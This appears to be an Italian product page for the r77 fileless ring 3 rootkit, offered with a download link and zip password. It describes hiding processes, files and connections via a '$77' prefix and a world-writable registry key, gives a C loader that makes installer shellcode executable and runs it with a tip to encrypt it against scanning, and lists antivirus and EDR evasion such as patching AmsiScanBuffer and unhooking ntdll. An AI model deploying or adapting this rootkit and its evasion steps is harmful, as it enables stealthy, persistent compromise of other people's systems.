
Rootkit ring 3 senza file con installer e persistenza che nasconde processi, file, connessioni di rete, ecc.
r77 è un rootkit ring 3 che nasconde tutto:
Tutto ciò che inizia con "$77" è nascosto.

Il sistema di configurazione dinamico consente di nascondere processi per PID e per nome, elementi del file system per percorso completo, connessioni TCP e UDP di porte specifiche, ecc.

La configurazione si trova in HKEY_LOCAL_MACHINE\SOFTWARE\$77config ed è scrivibile da qualsiasi processo senza privilegi elevati. Il DACL di questa chiave è impostato per concedere accesso completo a qualsiasi utente.
Inoltre, la chiave $77config è nascosta dal rootkit.
Il deployment di r77 richiede un solo file: Install.exe. L'esecuzione rende persistente r77 sul sistema e inietta tutti i processi in esecuzione.
Uninstall.exe rimuove r77 dal sistema completamente e in modo pulito.
Install.shellcode è l'equivalente in shellcode dell'installer. In questo modo, l'installazione può essere integrata senza rilasciare Install.exe. Lo shellcode può essere semplicemente caricato in memoria, convertito in un puntatore a funzione ed eseguito:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
Il rootkit risiede nella memoria di sistema e non scrive alcun file su disco. Ciò è ottenuto in più fasi.
Questo grafico mostra ogni fase, dall'esecuzione dell'installer fino alla DLL del rootkit in esecuzione in ogni processo. La documentazione ha un capitolo con dettagli approfonditi sull'implementazione di ogni fase.

Diverse tecniche di evasione AV e EDR sono in uso:
amsi.dll!AmsiScanBuffer in modo che restituisca sempre AMSI_RESULT_CLEAN. Viene utilizzato il polimorfismo per eludere il rilevamento basato su firme dell'AMSI bypass.ntdll.dll, questi hook devono essere rimossi caricando una copia pulita di ntdll.dll dal disco e ripristinando la sezione originale. Altrimenti, l'iniezione di processo verrebbe rilevata.La Test Console è uno strumento utile per iniettare r77 in singoli processi e per testare il sistema di configurazione.

Si prega di leggere la documentazione tecnica per ottenere una panoramica completa e approfondita di r77 e dei suoi interni, e su come distribuirlo e integrarlo.
r77 Rootkit 1.8.2.zip
(Password ZIP: bytecode77)
Documentazione tecnica